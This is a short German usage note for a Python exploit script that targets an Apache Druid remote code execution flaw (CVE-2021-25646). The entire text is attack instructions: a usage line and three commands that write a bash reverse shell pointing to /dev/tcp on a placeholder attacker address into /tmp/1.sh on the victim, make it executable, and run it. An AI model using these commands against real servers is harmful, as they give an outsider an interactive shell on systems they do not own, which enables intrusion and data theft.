
Python-Exploit für Apache Druid Remote-Code-Ausführung (CVE-2021-25646) mit Reverse-Shell- und Befehlsausführungsfunktionen.
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd
Reverse-Shell wie folgt:
Reverse-Shell-Skript schreiben
python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
Ausführungsberechtigung für Shell-Skript erteilen
python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
Shell ausführen
python3 CVE-2021-25646.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"